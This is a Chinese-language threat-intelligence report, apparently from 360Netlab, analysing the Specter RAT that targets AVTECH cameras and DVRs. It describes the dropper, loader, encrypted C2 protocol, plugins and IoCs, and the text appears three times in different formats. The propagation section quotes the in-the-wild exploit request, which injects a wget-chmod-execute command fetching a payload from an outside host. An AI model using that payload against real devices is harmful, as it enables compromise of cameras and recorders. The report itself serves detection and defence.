<pre><code>0F 41 01 FD 8B 75 6C A2 20 31 DC 35 70 D9 4D 3B 8E 53 4D E9
</code></pre>
<p>解密后得到</p>
<pre><code>C9 3E 00 00 00 00 00 00 00 00 01 00 22 00 00 00 20 00 00 00
3EC9 ---- CRC16 of Payload
0001 ---- Cmd Id
00000022 Compressed Payload length
00000020 Decomressed Payload length
</code></pre>
<p><code>Cmd Id</code>的值为1,说明处在秘钥交换阶段，直接解压<code>[Encrypted?]Compressed Payload</code>,得到Bot发给C2的密钥</p>
<pre><code>01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F 10
11 12 13 14 15 16 17 18 19 1A 1B 1C 1D 1E 1F 20
</code></pre>
<h6 id="">协议认证</h6>
<p>协议认证过程可以分成2阶段，第1阶段为秘钥交换，第2阶段为身证互认。</p>
<p><a href="__GHOST_URL__/content/images/2020/09/specter_loader_commfst.PNG"><img src="__GHOST_URL__/content/images/2020/09/specter_loader_commfst.PNG" class="kg-image"/></a></p>
<p>根据前文介绍的数据包解密流程，可以解出，</p>
<p>Bot发给C2的秘钥为</p>
<pre><code>01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F 10
11 12 13 14 15 16 17 18 19 1A 1B 1C 1D 1E 1F 20
</code></pre>
<p>C2发给Bot的秘钥为</p>
<pre><code>19 F8 7C 62 7B 8D A2 B3 59 FD AE 25 4C 18 F7 33
96 B5 D9 F5 EC FF C2 07 C3 7C 87 53 AE 60 99 2C
</code></pre>
<p>在秘钥交换阶段，Payload只做压缩不加密；交换秘钥之后，Bot和C2以对方的秘钥加密压缩Payload。</p>
<p>用上述秘钥可以解出，</p>
<p>Bot发给C2的认证信息为</p>
<pre><code>00000000: 44 48 6E 37-34 73 64 50-4F 71 6E 53-64 32 35 39 DHn74sdPOqnSd259
</code></pre>
<p>C2发给Bot的认证信息为</p>
<pre><code>00000000: 6C 30 53 4F-38 68 46 55-78 62 56 73-64 74 51 34 l0SO8hFUxbVsdtQ4
</code></pre>
<p>这和我们在样本看到的实现是一致的。<br>
<a href="__GHOST_URL__/content/images/2020/09/specter_packet_proof.PNG"><img src="__GHOST_URL__/content/images/2020/09/specter_packet_proof.PNG" class="kg-image"/></a></p>
<ul>
<li>
<h4 id="23macip">2.3 上报设备信息，诸如MAC/IP地址，系统类型等</h4>
</li>
</ul>
<p><a href="__GHOST_URL__/content/images/2020/09/specter_loader_device.PNG"><img src="__GHOST_URL__/content/images/2020/09/specter_loader_device.PNG" class="kg-image"/></a></p>
<ul>
<li>
<h4 id="24c2plugin">2.4 执行C2下发的启动Plugin指令</h4>
</li>
</ul>
<p><a href="__GHOST_URL__/content/images/2020/09/specter_loader_cmd.PNG"><img src="__GHOST_URL__/content/images/2020/09/specter_loader_cmd.PNG" class="kg-image"/></a><br>
Specter实现了一种非常灵活插件管理通信机制，每个插件都要实现以下4个方法，</p>
<p><a href="__GHOST_URL__/content/images/2020/09/specter_loader_syscall.PNG"><img src="__GHOST_URL__/content/images/2020/09/specter_loader_syscall.PNG" class="kg-image"/></a><br>
如果当前没有相应的Plugin，则向C2请求，最终动态加载进Loader的<code>Plugin Slot</code>中。</p>
<h3 id="stage3specter_plugin">Stage3：业务阶段，Specter_Plugin分析</h3>
<p>当Bot得到C2下发的Plugin时，还不能直接使用，因为它们加密的，解密之后才能加载进Plugin Slot使用。<br>
解密算法为<code>逐字节异或0x7f，然后取反。</code></p>
<p><a href="__GHOST_URL__/content/images/2020/09/specter_plugin_decode.PNG"><img src="__GHOST_URL__/content/images/2020/09/specter_plugin_decode.PNG" class="kg-image"/></a><br>
以下是我们捕获的一些插件</p>
<h4 id="shellplugin">Shell plugin</h4>
<blockquote>
<p>Plugin id: 1</p>
<p>c7bf33d159597f55dce31b33a58d52de</p>
<p>ELF 32-bit LSB shared object, ARM, version 1 (SYSV), not stripped</p>
</blockquote>
<p>Shell plugin的主要功能为开启SHELL服务。</p>
<p><a href="__GHOST_URL__/content/images/2020/09/specter_plugin_shell.PNG"><img src="__GHOST_URL__/content/images/2020/09/specter_plugin_shell.PNG" class="kg-image"/></a></p>
<h4 id="fileplugin">File plugin</h4>
<blockquote>
<p>Plugin id: 2</p>
<p>e67db6449c18b2e552786df7718a33c8</p>
<p>ELF 32-bit LSB shared object, ARM, version 1 (SYSV), not stripped</p>
</blockquote>
<p>File plugin的主要功能是文件管理，除了支持对文件目录的读，写，删除，查找操作，还可能从指定的的服务器下载/上传文件。</p>
<p><a href="__GHOST_URL__/content/images/2020/09/specter_plugin_file.PNG"><img src="__GHOST_URL__/content/images/2020/09/specter_plugin_file.PNG" class="kg-image"/></a></p>
<h4 id="socketplugin">Socket Plugin</h4>
<blockquote>
<p>Plugin id: 3</p>
<p>45c5e7bcb9987356b53fd9a78543dcda</p>
<p>ELF 32-bit LSB shared object, ARM, version 1 (SYSV), not stripped</p>
</blockquote>
<p>Socket Plugin的主要功能为开启Socket5 代理。</p>
<p><a href="__GHOST_URL__/content/images/2020/09/specter_plugin_socket.PNG"><img src="__GHOST_URL__/content/images/2020/09/specter_plugin_socket.PNG" class="kg-image"/></a></p>
<h4 id="ssfplugin">SSF Plugin</h4>
<blockquote>
<p>Plugin id: 5</p>
<p>da0f9a21ae7ee3d15794946ca74a07e3</p>
<p>ELF 32-bit LSB shared object, ARM, version 1 (SYSV), stripped</p>
</blockquote>
<p>SSF Plugin的主要功能是从指定服务器下载可执行文件到本地<code>/tmp/runtimes/httpd_log_output</code>文件，然后执行。</p>
<p><a href="__GHOST_URL__/content/images/2020/09/specter_plugin_ssf.PNG"><img src="__GHOST_URL__/content/images/2020/09/specter_plugin_ssf.PNG" class="kg-image"/></a></p>
<h2 id="">处置建议</h2>
<p>我们建议并根据Specter创建的进程，释放目录以及TCP网络连接特征，判断是否被感染，然后清理它的相关进程和文件。</p>
<p>我们建议读者对Specter相关IP，URL和域名进行监控和封锁。</p>
<p>相关安全和执法机构，可以邮件联系netlab[at]360.cn交流更多信息。</p>
<h2 id="">联系我们</h2>
<p>感兴趣的读者，可以在 <a href="https://twitter.com/360Netlab"><strong>twitter</strong></a> 或者在微信公众号 <strong>360Netlab</strong> 上联系我们。</p>
<h2 id="ioc">IoC</h2>
<h4 id="cc">CC</h4>
<pre><code>107.182.186.195:443 ASN25820|IT7_Networks_Inc United_States|California|Los_Angeles
</code></pre>
<h4 id="samplemd5">Sample MD5</h4>
<pre><code>04c7ef9e4197985d31e5d601a9161c5e
052b6fce24a800259289e2f06163db57
065d942effb6010bb48f7403d3ad442b
0d0bf23412bd34c82ab28e67278519bf
2b89fd69d128c8a28425c512670e531a
2ed27722e095b1c870fdb10e4990db0f
42d341d0b76869abc2231c70d0f0ecc9
5e03c99153ed59546bf60c9f896a30f1
7377eedb6512743858d52da3cc028a33
7c59ddc06da158afc8b514a9a81ffd36
a5ded8b31b17c88302882cccc35cc28f
a8400c378950084fc8ab80b8bb4e5b18
a99563e6711990b9b3f542ae146bd01c
acfa5f547b69bde0bf3f343429594b99
b79639e2b5d10f92ea44721e155fc09b
b9ac3d23faba205f74ebd932d8e370d3
c2126977f9f482f290154ea21719330f
c33b585a0dfa5fdb70d27a17ace6ba1f
c51fc1656aa857bb7226e2df969aa72d
cc1b11c6ac6e5bebc4c0e7502b4e1fcd
cc27d6141f8c66e520122e8f2292a940
eda6d2b0837b5e78ae1b0b50f85e3321
</code></pre>
<h4 id="downloader">Downloader</h4>
<pre><code>http://45.76.70.163:80/style/22523419f0404d628d02876e69458fbe.css
</code></pre>
<!--kg-card-end: markdown--> | 背景
2020年8月20日，360Netlab未知威胁检测系统捕获了一个通过漏洞传播可疑ELF文件(22523419f0404d628d02876e69458fbe.css)，其独特的文件名，TLS网络流量以及VT杀软0检出的情况，引起了我们的兴趣。
经过分析，我们确定它是一个配置灵活，高度模块化/插件化，使用TLS，ChaCha20，Lz4加密压缩网络通信，针对AVTECH IP Camera / NVR / DVR 设备的恶意家族，我们捕获的ELF是Dropper，会释放出一个Loader,而Loader则会通过加密流量向C2请求各种Plugin以实现不同的功能。样本build路径为/build/arm-specter-linux-uclibcgnueabi，所以我们命名为Specter。
目前来看，Specter有很多不专业的地方，比如，它在释放Loader的同时也释放2个运行时所需要的库，但它们都是dynamically linked。又如下载的Plugin落在文件上再加载而不是在内存中直接展开加载。而且Dropper的传播是利用5年旧的老漏洞；但是在另外一方面，它有良好的分层设计，复杂的网络通信等特性，这显然是专业级玩家的作品。专业伴随着不专业，这一矛盾点使我们推测Specter正处于测试开发阶段。
概览
Specter由Dropper,Loader,Plugin 3大部分组成，主要功能由Loader&Plugin决定，根据我们目前捕获的Plugin，可以将Specter定性为，一款针对Linux平台的远程控制木马(RAT)。
Specter的主要功能有
*
文件管理
*
下载上传管理
*
Shell服务
*
Socket5 Proxy
*
上报设备信息
*
执行C2下发的脚本
*
执行C2下发可执行文件
基本流程如下图所示，
传播方式
Specter通过AVTECH IP Camera / NVR / DVR Devices漏洞传播其Dropper样本，在野利用的Payload如下所示，
GET /cgi-bin/nobody/Search.cgi?action=cgi_query&ip=google.com&port=80&queryb64str=Lw==&username=admin%20;XmlAp%20r%20Account.User1.Username%3E$(wget%20http://45.76.70.163:80/style/351f37b2764041759c859202c529aefc.css%20-O%20/tmp/webstatus;chmod%20755%20/tmp/webstatus;/tmp/webstatus;rm%20-f%20/tmp/webstatus;)&password=admin HTTP/1.1
Host: {}:4443
Connection: keep-alive
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0
Accept-Language: en-US,en;q=0.8,zh-CN;q=0.7,zh;q=0.5,zh-TW;q=0.3,zh-HK;q=0.2
Content-Type: text/plain; charset=utf-8
样本分析
简单来说，Specter的感染流程可以分成4个阶段，
Stage 0: 预备阶段，通过漏洞传播，在设备上植入Dropper
Stage 1: 释放阶段，Dropper释放出Loader
Stage 2: 加载阶段，Loader加载Plugin
Stage 3: 业务阶段，Plugin执行C2下发的指令
下文将从Stage1到Stage3着手，分析Specter各个阶段的技术细节。
Stage1：释放阶段，Specter_Dropper分析
Dropper的主要功能为检测运行环境，解密Loader，配置Config，最后释放并启动Loader。
MD5:a8400c378950084fc8ab80b8bb4e5b18
ELF 32-bit LSB executable, ARM, version 1 (SYSV), statically linked, stripped
Packer:No
*
1.1 解密Loader
解密算法为逐字节异或0x79，然后取反。
伴随Loader同时解密的还有运行时库，libc.so.0和ld-uClibc.so.1。目前这俩库没有恶意功能，但是我们推测以后的版本会对这俩个库的某些函数进行劫持，从文件，进程，网络，3个层面隐藏Specter的存在。
*
1.2 配置Config
在Loader样本中寻找写入的位置标志SpctCF，然后在其随后的地址写入Config。
对比如下
*
1.3 释放运行Loader
把Loader释放到/tmp/runtimes/hw_ex_watchdog文件中然后运行，最后删除自身以清理Dropper存在的痕迹。
Stage2：加载阶段，Specter_Loader分析
Loader的主要功能为解密Config，从中得到C2，然后和C2建立加密的通信，执行C2下发的指令，若缺少处理相应指令的Plugin，则向C2请求所需要的Plugin。
MD5:470a092abd67e25463425b611088b1db
ELF 32-bit LSB executable, ARM, version 1 (SYSV), dynamically linked (uses shared libs), stripped
Packer:No
*
2.1 解密Config
Config中有C2，mutex名，nonce等信息，使用ChaCha20加密，其中密钥为CsFg34HbrJsAx6hjBmxDd7A2Wj0Cz9s\x00，轮数为15。
详细的Config结构如下所示，
以上图这个Config为例，解密所需的nonce(12 bytes)为
c1 f5 9e 20 7a 35 9d 25 ed 77 bb 70
密文为
94 69 CA D5 A0 0F 73 A9 BB 05 71 B2 31 1D EF 06
1A 2A BC 94 3A A7 4B 72 3A 0C BC 8E BF 57 1E 69
88 1B A1 7D FB 79 6C 26 A9 95 EB B1 E9 53 A9 2B
33 3D A7 F6 D2 07 E4 64 FD 70 81 C2 83 C2 A1 5F
13 EB 3F 9C 6F CD 03 50 84 C5 5C 9C 31 B1 9F CF
06 4B 5F 12 E9 C3 39 C3 EE 07 C5 CE E2 C2 58 FA
6C AA 6D 9B 00 C2 37 3E C2 98 52 47 D4 4D E7
解密后得到以下明文，可以看到C2为107.182.186.195，mutex为fb4mi5a。
00000000 f4 36 ce 57 b0 46 d2 96 27 1c a6 88 fe 57 e2 22 |ô6ÎW°FÒ.'.¦.þWâ"|
00000010 52 34 19 f0 40 4d 62 8d 02 87 6e 69 45 8f be 6a |R4.ð@Mb...niE.¾j|
00000020 66 62 34 6d 69 35 61 00 01 00 00 00 0f 00 00 00 |fb4mi5a.........|
00000030 31 30 37 2e 31 38 32 2e 31 38 36 2e 31 39 35 03 |107.182.186.195.|
00000040 00 00 00 34 34 33 01 00 00 00 01 00 00 00 01 00 |...443..........|
00000050 00 00 01 00 00 00 01 00 00 00 01 00 00 00 01 00 |................|
00000060 00 00 01 00 00 00 1e 00 5a 00 14 00 3c 00 00 |........Z...<..|
*
2.2 和C2建立通信
通信的过程可以分成4个阶段，采用了TLS，ChaCha20加密算法，lz4压缩算法，保障数据通信安全。第1阶段是建立TLS连接，第2阶段是双方协议认证过程，第3阶段是Loader上报设备信息，第4阶段执行C2下发指令过程。
TLS连接
为了分析网络流量，我们做了中间人劫持，最终效果如下，可以看出Specter的网络通信包有固定的格式。
数据包可以分成4大部分，详细的结构见下图，
其中Encrypted Payload_info存有Payload校验，长度，功能ID等信息，[Encrypted?]Compressed Payload则是具体的Payload，Payload除了在秘钥交换阶段只压缩不加密，其余的阶段又加密又压缩
以上图Bot发给C2进行密钥匙交换的数据包为例，
第一部分Encrypted Payload_info用到的加密算法为
ChaCha20
Key: 36 30 30 64 65 33 31 39 61 32 66 38 31 39 62 34
61 38 35 31 64 32 33 66 63 34 62 33 33 33 33 65
Nonce: E7 66 29 FB 10 98 F6 5A 80 80 FF 58
密文为
0F 41 01 FD 8B 75 6C A2 20 31 DC 35 70 D9 4D 3B 8E 53 4D E9
解密后得到
C9 3E 00 00 00 00 00 00 00 00 01 00 22 00 00 00 20 00 00 00
3EC9 ---- CRC16 of Payload
0001 ---- Cmd Id
00000022 Compressed Payload length
00000020 Decomressed Payload length
Cmd Id的值为1,说明处在秘钥交换阶段，直接解压[Encrypted?]Compressed Payload,得到Bot发给C2的密钥
01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F 10
11 12 13 14 15 16 17 18 19 1A 1B 1C 1D 1E 1F 20
协议认证
协议认证过程可以分成2阶段，第1阶段为秘钥交换，第2阶段为身证互认。
根据前文介绍的数据包解密流程，可以解出，
Bot发给C2的秘钥为
01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F 10
11 12 13 14 15 16 17 18 19 1A 1B 1C 1D 1E 1F 20
C2发给Bot的秘钥为
19 F8 7C 62 7B 8D A2 B3 59 FD AE 25 4C 18 F7 33
96 B5 D9 F5 EC FF C2 07 C3 7C 87 53 AE 60 99 2C
在秘钥交换阶段，Payload只做压缩不加密；交换秘钥之后，Bot和C2以对方的秘钥加密压缩Payload。
用上述秘钥可以解出，
Bot发给C2的认证信息为
00000000: 44 48 6E 37-34 73 64 50-4F 71 6E 53-64 32 35 39 DHn74sdPOqnSd259
C2发给Bot的认证信息为
00000000: 6C 30 53 4F-38 68 46 55-78 62 56 73-64 74 51 34 l0SO8hFUxbVsdtQ4
这和我们在样本看到的实现是一致的。
*
2.3 上报设备信息，诸如MAC/IP地址，系统类型等
*
2.4 执行C2下发的启动Plugin指令
Specter实现了一种非常灵活插件管理通信机制，每个插件都要实现以下4个方法，
如果当前没有相应的Plugin，则向C2请求，最终动态加载进Loader的Plugin Slot中。
Stage3：业务阶段，Specter_Plugin分析
当Bot得到C2下发的Plugin时，还不能直接使用，因为它们加密的，解密之后才能加载进Plugin Slot使用。
解密算法为逐字节异或0x7f，然后取反。
以下是我们捕获的一些插件
Shell plugin
Plugin id: 1
c7bf33d159597f55dce31b33a58d52de
ELF 32-bit LSB shared object, ARM, version 1 (SYSV), not stripped
Shell plugin的主要功能为开启SHELL服务。
File plugin
Plugin id: 2
e67db6449c18b2e552786df7718a33c8
ELF 32-bit LSB shared object, ARM, version 1 (SYSV), not stripped
File plugin的主要功能是文件管理，除了支持对文件目录的读，写，删除，查找操作，还可能从指定的的服务器下载/上传文件。
Socket Plugin
Plugin id: 3
45c5e7bcb9987356b53fd9a78543dcda
ELF 32-bit LSB shared object, ARM, version 1 (SYSV), not stripped
Socket Plugin的主要功能为开启Socket5 代理。
SSF Plugin
Plugin id: 5
da0f9a21ae7ee3d15794946ca74a07e3
ELF 32-bit LSB shared object, ARM, version 1 (SYSV), stripped
SSF Plugin的主要功能是从指定服务器下载可执行文件到本地/tmp/runtimes/httpd_log_output文件，然后执行。
处置建议
我们建议并根据Specter创建的进程，释放目录以及TCP网络连接特征，判断是否被感染，然后清理它的相关进程和文件。
我们建议读者对Specter相关IP，URL和域名进行监控和封锁。
相关安全和执法机构，可以邮件联系netlab[at]360.cn交流更多信息。
联系我们
感兴趣的读者，可以在 twitter 或者在微信公众号 360Netlab 上联系我们。
IoC
CC
107.182.186.195:443 ASN25820|IT7_Networks_Inc United_States|California|Los_Angeles
Sample MD5
04c7ef9e4197985d31e5d601a9161c5e
052b6fce24a800259289e2f06163db57
065d942effb6010bb48f7403d3ad442b
0d0bf23412bd34c82ab28e67278519bf
2b89fd69d128c8a28425c512670e531a
2ed27722e095b1c870fdb10e4990db0f
42d341d0b76869abc2231c70d0f0ecc9
5e03c99153ed59546bf60c9f896a30f1
7377eedb6512743858d52da3cc028a33
7c59ddc06da158afc8b514a9a81ffd36
a5ded8b31b17c88302882cccc35cc28f
a8400c378950084fc8ab80b8bb4e5b18
a99563e6711990b9b3f542ae146bd01c
acfa5f547b69bde0bf3f343429594b99
b79639e2b5d10f92ea44721e155fc09b
b9ac3d23faba205f74ebd932d8e370d3
c2126977f9f482f290154ea21719330f
c33b585a0dfa5fdb70d27a17ace6ba1f
c51fc1656aa857bb7226e2df969aa72d
cc1b11c6ac6e5bebc4c0e7502b4e1fcd
cc27d6141f8c66e520122e8f2292a940
eda6d2b0837b5e78ae1b0b50f85e3321
Downloader
http://45.76.70.163:80/style/22523419f0404d628d02876e69458fbe.css
| {"version":"0.3.1","atoms":[],"cards":[["markdown",{"markdown":"## 背景\n\n2020年8月20日，360Netlab未知威胁检测系统捕获了一个通过漏洞传播可疑ELF文件(`22523419f0404d628d02876e69458fbe.css`)，其独特的文件名，TLS网络流量以及VT杀软0检出的情况，引起了我们的兴趣。\n\n经过分析，我们确定它是一个配置灵活，高度模块化/插件化，使用`TLS`，`ChaCha20`，`Lz4`加密压缩网络通信，针对`AVTECH IP Camera / NVR / DVR` 设备的恶意家族，我们捕获的ELF是Dropper，会释放出一个Loader,而Loader则会通过加密流量向C2请求各种Plugin以实现不同的功能。样本build路径为`/build/arm-specter-linux-uclibcgnueabi`，所以我们命名为`Specter`。\n\n目前来看，Specter有很多不专业的地方，比如，它在释放Loader的同时也释放2个运行时所需要的库，但它们都是dynamically linked。又如下载的Plugin落在文件上再加载而不是在内存中直接展开加载。而且Dropper的传播是利用5年旧的老漏洞；但是在另外一方面，它有良好的分层设计，复杂的网络通信等特性，这显然是专业级玩家的作品。```专业伴随着不专业```，这一矛盾点使我们推测Specter正处于测试开发阶段。\n\n\n## 概览\nSpecter由Dropper,Loader,Plugin 3大部分组成，主要功能由Loader&Plugin决定，根据我们目前捕获的Plugin，可以将Specter定性为，一款针对Linux平台的远程控制木马(RAT)。\n\n Specter的主要功能有\n\n- 文件管理\n\n- 下载上传管理\n\n- Shell服务\n\n- Socket5 Proxy\n\n- 上报设备信息\n\n- 执行C2下发的脚本\n\n- 执行C2下发可执行文件\n\n 基本流程如下图所示，\n <a href=\"__GHOST_URL__/content/images/2020/09/specter_flow.PNG\"><img src=\"__GHOST_URL__/content/images/2020/09/specter_flow.PNG\" class=\"kg-image\"/></a>\n## 传播方式\nSpecter通过[AVTECH IP Camera / NVR / DVR Devices](https://www.exploit-db.com/exploits/40500)漏洞传播其Dropper样本，在野利用的Payload如下所示，\n```\nGET /cgi-bin/nobody/Search.cgi?action=cgi_query&ip=google.com&port=80&queryb64str=Lw==&username=admin%20;XmlAp%20r%20Account.User1.Username%3E$(wget%20http://45.76.70.163:80/style/351f37b2764041759c859202c529aefc.css%20-O%20/tmp/webstatus;chmod%20755%20/tmp/webstatus;/tmp/webstatus;rm%20-f%20/tmp/webstatus;)&password=admin HTTP/1.1\nHost: {}:4443\nConnection: keep-alive\nAccept-Encoding: gzip, deflate\nAccept: */*\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0\nAccept-Language: en-US,en;q=0.8,zh-CN;q=0.7,zh;q=0.5,zh-TW;q=0.3,zh-HK;q=0.2\nContent-Type: text/plain; charset=utf-8\n```\n## 样本分析\n\n简单来说，Specter的感染流程可以分成4个阶段，\n\nStage 0: 预备阶段，通过漏洞传播，在设备上植入Dropper\n\nStage 1: 释放阶段，Dropper释放出Loader\n\nStage 2: 加载阶段，Loader加载Plugin\n\nStage 3: 业务阶段，Plugin执行C2下发的指令\n\n下文将从Stage1到Stage3着手，分析Specter各个阶段的技术细节。\n\n\n\n### Stage1：释放阶段，Specter_Dropper分析\n\nDropper的主要功能为检测运行环境，解密Loader，配置Config，最后释放并启动Loader。\n\n> MD5:a8400c378950084fc8ab80b8bb4e5b18\n>\n> ELF 32-bit LSB executable, ARM, version 1 (SYSV), statically linked, stripped\n>\n> Packer:No\n\n\n\n- #### 1.1 解密Loader\n解密算法为```逐字节异或0x79，然后取反。```\n <a href=\"__GHOST_URL__/content/images/2020/09/specter_drop_decode.PNG\"><img src=\"__GHOST_URL__/content/images/2020/09/specter_drop_decode.PNG\" class=\"kg-image\"/></a>\n 伴随Loader同时解密的还有运行时库，libc.so.0和ld-uClibc.so.1。目前这俩库没有恶意功能，但是我们推测以后的版本会对这俩个库的某些函数进行劫持，从```文件，进程，网络```，3个层面隐藏Specter的存在。\n\n\n\n- #### 1.2 配置Config\n在Loader样本中寻找写入的位置标志```SpctCF```，然后在其随后的地址写入Config。\n <a href=\"__GHOST_URL__/content/images/2020/09/specter_drop_setconf.PNG\"><img src=\"__GHOST_URL__/content/images/2020/09/specter_drop_setconf.PNG\" class=\"kg-image\"/></a>\n\n 对比如下\n\n <a href=\"__GHOST_URL__/content/images/2020/09/specter_drop_conf.PNG\"><img src=\"__GHOST_URL__/content/images/2020/09/specter_drop_conf.PNG\" class=\"kg-image\"/></a>\n\n- #### 1.3 释放运行Loader\n把Loader释放到```/tmp/runtimes/hw_ex_watchdog```文件中然后运行，最后删除自身以清理Dropper存在的痕迹。\n\n <a href=\"__GHOST_URL__/content/images/2020/09/specter_drop_run.PNG\"><img src=\"__GHOST_URL__/content/images/2020/09/specter_drop_run.PNG\" class=\"kg-image\"/></a>\n\n### Stage2：加载阶段，Specter_Loader分析\nLoader的主要功能为解密Config，从中得到C2，然后和C2建立加密的通信，执行C2下发的指令，若缺少处理相应指令的Plugin，则向C2请求所需要的Plugin。\n\n> MD5:470a092abd67e25463425b611088b1db\n>\n> ELF 32-bit LSB executable, ARM, version 1 (SYSV), dynamically linked (uses shared libs), stripped \n>\n> Packer:No\n\n\n\n- #### 2.1 解密Config\nConfig中有C2，mutex名，nonce等信息，使用ChaCha20加密，其中密钥为```CsFg34HbrJsAx6hjBmxDd7A2Wj0Cz9s\\x00```，轮数为```15```。\n\n\n <a href=\"__GHOST_URL__/content/images/2020/09/specter_loader_decode.PNG\"><img src=\"__GHOST_URL__/content/images/2020/09/specter_loader_decode.PNG\" class=\"kg-image\"/></a>\n\n 详细的Config结构如下所示，\n\n <a href=\"__GHOST_URL__/content/images/2020/09/specter_loader_config.PNG\"><img src=\"__GHOST_URL__/content/images/2020/09/specter_loader_config.PNG\" class=\"kg-image\"/></a>\n\n 以上图这个Config为例，解密所需的nonce(12 bytes)为\n\n ```\n c1 f5 9e 20 7a 35 9d 25 ed 77 bb 70\n ```\n\n 密文为\n\n ```\n 94 69 CA D5 A0 0F 73 A9 BB 05 71 B2 31 1D EF 06 \n 1A 2A BC 94 3A A7 4B 72 3A 0C BC 8E BF 57 1E 69 \n 88 1B A1 7D FB 79 6C 26 A9 95 EB B1 E9 53 A9 2B \n 33 3D A7 F6 D2 07 E4 64 FD 70 81 C2 83 C2 A1 5F \n 13 EB 3F 9C 6F CD 03 50 84 C5 5C 9C 31 B1 9F CF \n 06 4B 5F 12 E9 C3 39 C3 EE 07 C5 CE E2 C2 58 FA\n 6C AA 6D 9B 00 C2 37 3E C2 98 52 47 D4 4D E7\n ```\n\n 解密后得到以下明文，可以看到C2为```107.182.186.195```，mutex为```fb4mi5a```。\n\n ```\n 00000000 f4 36 ce 57 b0 46 d2 96 27 1c a6 88 fe 57 e2 22 |ô6ÎW°FÒ.'.¦.þWâ\"|\n 00000010 52 34 19 f0 40 4d 62 8d 02 87 6e 69 45 8f be 6a |R4.ð@Mb...niE.¾j|\n 00000020 66 62 34 6d 69 35 61 00 01 00 00 00 0f 00 00 00 |fb4mi5a.........|\n 00000030 31 30 37 2e 31 38 32 2e 31 38 36 2e 31 39 35 03 |107.182.186.195.|\n 00000040 00 00 00 34 34 33 01 00 00 00 01 00 00 00 01 00 |...443..........|\n 00000050 00 00 01 00 00 00 01 00 00 00 01 00 00 00 01 00 |................|\n 00000060 00 00 01 00 00 00 1e 00 5a 00 14 00 3c 00 00 |........Z...<..|\n ```\n\n- #### 2.2 和C2建立通信\n通信的过程可以分成4个阶段，采用了TLS，ChaCha20加密算法，lz4压缩算法，保障数据通信安全。第1阶段是建立TLS连接，第2阶段是双方协议认证过程，第3阶段是Loader上报设备信息，第4阶段执行C2下发指令过程。\n\n ###### TLS连接\n\n<a href=\"__GHOST_URL__/content/images/2020/09/specter_loader_ssl.PNG\"><img src=\"__GHOST_URL__/content/images/2020/09/specter_loader_ssl.PNG\" class=\"kg-image\"/></a>\n\n 为了分析网络流量，我们做了```中间人劫持```，最终效果如下，可以看出Specter的网络通信包有固定的格式。\n\n <a href=\"__GHOST_URL__/content/images/2020/09/specter_loader_commhijack.PNG\"><img src=\"__GHOST_URL__/content/images/2020/09/specter_loader_commhijack.PNG\" class=\"kg-image\"/></a>\n\n 数据包可以分成4大部分，详细的结构见下图，\n <a href=\"__GHOST_URL__/content/images/2020/09/specter_packet_info.PNG\"><img src=\"__GHOST_URL__/content/images/2020/09/specter_packet_info.PNG\" class=\"kg-image\"/></a>\n 其中```Encrypted Payload_info```存有Payload校验，长度，功能ID等信息，```[Encrypted?]Compressed Payload```则是具体的Payload，Payload除了在秘钥交换阶段只压缩不加密，其余的阶段又加密又压缩\n\n\n\n \n 以上图Bot发给C2进行密钥匙交换的数据包为例，\n\n 第一部分```Encrypted Payload_info```用到的加密算法为\n\n ```\n ChaCha20\n Key:\t\t36 30 30 64 65 33 31 39 61 32 66 38 31 39 62 34 \n \t\t\t61 38 35 31 64 32 33 66 63 34 62 33 33 33 33 65\n Nonce:\t\tE7 66 29 FB 10 98 F6 5A 80 80 FF 58\t\n ```\n\n 密文为\n\n ```\n 0F 41 01 FD 8B 75 6C A2 20 31 DC 35 70 D9 4D 3B 8E 53 4D E9\n ```\n\n 解密后得到\n\n ```\n C9 3E 00 00 00 00 00 00 00 00 01 00 22 00 00 00 20 00 00 00\n \n 3EC9\t\t---- CRC16 of Payload\n 0001\t\t---- Cmd Id\n 00000022\tCompressed Payload length\n 00000020\tDecomressed Payload length\n ```\n\n ```Cmd Id```的值为1,说明处在秘钥交换阶段，直接解压```[Encrypted?]Compressed Payload```,得到Bot发给C2的密钥\n\n ```\n 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F 10\n 11 12 13 14 15 16 17 18 19 1A 1B 1C 1D 1E 1F 20\n ```\n\n \n\n ###### 协议认证\n\n 协议认证过程可以分成2阶段，第1阶段为秘钥交换，第2阶段为身证互认。\n\n\n<a href=\"__GHOST_URL__/content/images/2020/09/specter_loader_commfst.PNG\"><img src=\"__GHOST_URL__/content/images/2020/09/specter_loader_commfst.PNG\" class=\"kg-image\"/></a>\n\n\n\n 根据前文介绍的数据包解密流程，可以解出，\n\n Bot发给C2的秘钥为\n\n ```\n 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F 10\n 11 12 13 14 15 16 17 18 19 1A 1B 1C 1D 1E 1F 20\n ```\n\n C2发给Bot的秘钥为\n\n ```\n 19 F8 7C 62 7B 8D A2 B3 59 FD AE 25 4C 18 F7 33\n 96 B5 D9 F5 EC FF C2 07 C3 7C 87 53 AE 60 99 2C\n ```\n\n 在秘钥交换阶段，Payload只做压缩不加密；交换秘钥之后，Bot和C2以对方的秘钥加密压缩Payload。\n \n 用上述秘钥可以解出，\n\n Bot发给C2的认证信息为\n\n ```\n 00000000: 44 48 6E 37-34 73 64 50-4F 71 6E 53-64 32 35 39 DHn74sdPOqnSd259\n ```\n\n C2发给Bot的认证信息为\n\n ```\n 00000000: 6C 30 53 4F-38 68 46 55-78 62 56 73-64 74 51 34 l0SO8hFUxbVsdtQ4\n ```\n\n 这和我们在样本看到的实现是一致的。\n <a href=\"__GHOST_URL__/content/images/2020/09/specter_packet_proof.PNG\"><img src=\"__GHOST_URL__/content/images/2020/09/specter_packet_proof.PNG\" class=\"kg-image\"/></a>\n\n\n\n - #### 2.3 上报设备信息，诸如MAC/IP地址，系统类型等\n\n\n <a href=\"__GHOST_URL__/content/images/2020/09/specter_loader_device.PNG\"><img src=\"__GHOST_URL__/content/images/2020/09/specter_loader_device.PNG\" class=\"kg-image\"/></a>\n\n - #### 2.4 执行C2下发的启动Plugin指令\n <a href=\"__GHOST_URL__/content/images/2020/09/specter_loader_cmd.PNG\"><img 